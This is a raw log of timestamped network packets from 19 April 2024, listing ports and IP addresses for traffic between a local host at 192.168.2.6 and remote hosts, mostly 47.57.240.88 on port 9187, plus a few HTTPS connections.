Apr 19, 2024 01:33:14.995898008 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.995939970 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:14.995990992 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:15.129795074 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:15.129862070 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:15.129904985 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:15.129941940 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:15.177409887 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.183219910 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.519223928 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.519309044 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.519347906 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.519367933 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.519387007 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.519428015 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.519433975 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.519468069 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.519510031 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.519519091 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.568032026 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.618541002 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.618602037 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.618643045 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.618678093 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.618683100 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.618724108 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.618736029 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.618765116 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.618880033 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.618884087 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.618923903 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.618962049 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.618977070 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.619002104 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.619055033 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.619059086 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.619112968 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.619153023 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.619173050 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.661780119 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.818748951 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.818778038 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.818798065 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.818825960 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.818826914 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.818860054 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.818871021 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.818877935 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.818892956 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.818907022 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.818921089 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.818932056 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.818934917 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.818948030 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.818964005 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.818965912 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.818975925 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:16.819027901 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:16.864900112 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.020339012 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020399094 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020437956 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020452976 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.020474911 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020514011 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020524025 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.020551920 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020590067 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020596027 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.020628929 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020669937 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020675898 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.020708084 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020745993 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020754099 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.020783901 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020824909 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.020831108 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.068018913 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.068851948 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.068883896 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.068953037 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.071059942 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.071079016 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.219332933 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.219382048 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.219420910 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.219434977 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.219460964 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.219499111 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.219521046 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.219537973 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.219574928 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.219587088 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.271158934 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.319544077 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.319606066 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.319645882 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.319678068 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.319685936 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.319726944 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.319760084 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.319766045 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.319806099 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.319839001 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.319844961 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.319883108 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.319916010 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.319921970 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.319961071 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.319997072 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.320029020 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.320038080 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.320070982 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.366278887 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.495112896 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.495203972 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.498796940 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.498809099 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.499186993 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.519437075 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519485950 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519525051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519561052 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519597054 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519623041 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.519635916 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519671917 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.519673109 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519701004 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.519710064 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519747972 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519778013 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.519784927 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519823074 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519856930 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.519860983 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519906998 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.519934893 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.555289984 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.568032980 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.589569092 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.636116028 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.720294952 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720460892 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720478058 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720498085 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720515013 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720531940 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.720532894 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720554113 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720571995 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720587015 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.720591068 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720609903 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720627069 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720638990 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.720638990 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.720645905 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720664978 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.720694065 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.720694065 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.771159887 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.893162012 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.893218040 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.893239021 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.893256903 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.893296003 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.893316031 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.893326998 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.893356085 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.893372059 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.893388033 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.893470049 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.893529892 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.893538952 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.893619061 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.893640041 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.893646955 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.893693924 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.893878937 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.910784960 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.910784960 CEST	49722	443	192.168.2.6	52.165.165.26
Apr 19, 2024 01:33:17.910804987 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.910815954 CEST	443	49722	52.165.165.26	192.168.2.6
Apr 19, 2024 01:33:17.920598030 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.920638084 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.920675039 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.920711994 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.920747995 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.920784950 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.920787096 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.920787096 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.920825005 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.920860052 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.920861006 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.920902967 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.920939922 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.920974016 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.920978069 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:17.921032906 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:17.974282026 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.086513042 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.086554050 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.086589098 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.086684942 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.086826086 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.422180891 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.422220945 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.422286987 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.422324896 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.422333002 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.422346115 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.422368050 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.422385931 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.422560930 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.474359989 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.522352934 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522389889 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522427082 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522448063 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522484064 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522506952 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.522521019 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522559881 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522572994 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.522598982 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522655964 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522660017 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.522660971 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.522694111 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522731066 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522767067 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522779942 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.522820950 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.522866011 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.568017960 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.721652031 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.721702099 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.721740961 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.721779108 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.721782923 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.721823931 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.721843004 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.721863031 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.721901894 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.721923113 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.721944094 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.721981049 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.722018957 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.722057104 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.722084999 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.722084999 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.722095966 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.722137928 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.722187996 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.771287918 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.772387981 CEST	49706	443	192.168.2.6	173.222.162.64
Apr 19, 2024 01:33:18.772473097 CEST	49706	443	192.168.2.6	173.222.162.64
Apr 19, 2024 01:33:18.773072004 CEST	49726	443	192.168.2.6	173.222.162.64
Apr 19, 2024 01:33:18.773149014 CEST	443	49726	173.222.162.64	192.168.2.6
Apr 19, 2024 01:33:18.773226023 CEST	49726	443	192.168.2.6	173.222.162.64
Apr 19, 2024 01:33:18.922039986 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922103882 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922143936 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922163010 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.922185898 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922246933 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.922440052 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922480106 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922518015 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922555923 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922593117 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922631025 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922669888 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922679901 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.922679901 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.922679901 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.922708988 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922749996 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:18.922800064 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:18.924217939 CEST	443	49706	173.222.162.64	192.168.2.6
Apr 19, 2024 01:33:18.924242020 CEST	443	49706	173.222.162.64	192.168.2.6
Apr 19, 2024 01:33:18.974276066 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.122157097 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122222900 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122262955 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122287035 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.122302055 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122342110 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122386932 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.122400045 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122416973 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122431993 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122447968 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122488022 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122525930 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122564077 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122603893 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.122613907 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.122613907 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.122613907 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.122613907 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.177427053 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.321413994 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.321439981 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.321458101 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.321477890 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.321497917 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.321516991 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.321546078 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.321558952 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.321568012 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.321717978 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.321717978 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.321717978 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.364948988 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.454528093 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.454580069 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.454617023 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.454654932 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.454679966 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.454693079 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.454732895 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.454747915 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.454786062 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.454823017 CEST	9187	49717	47.57.240.88	192.168.2.6
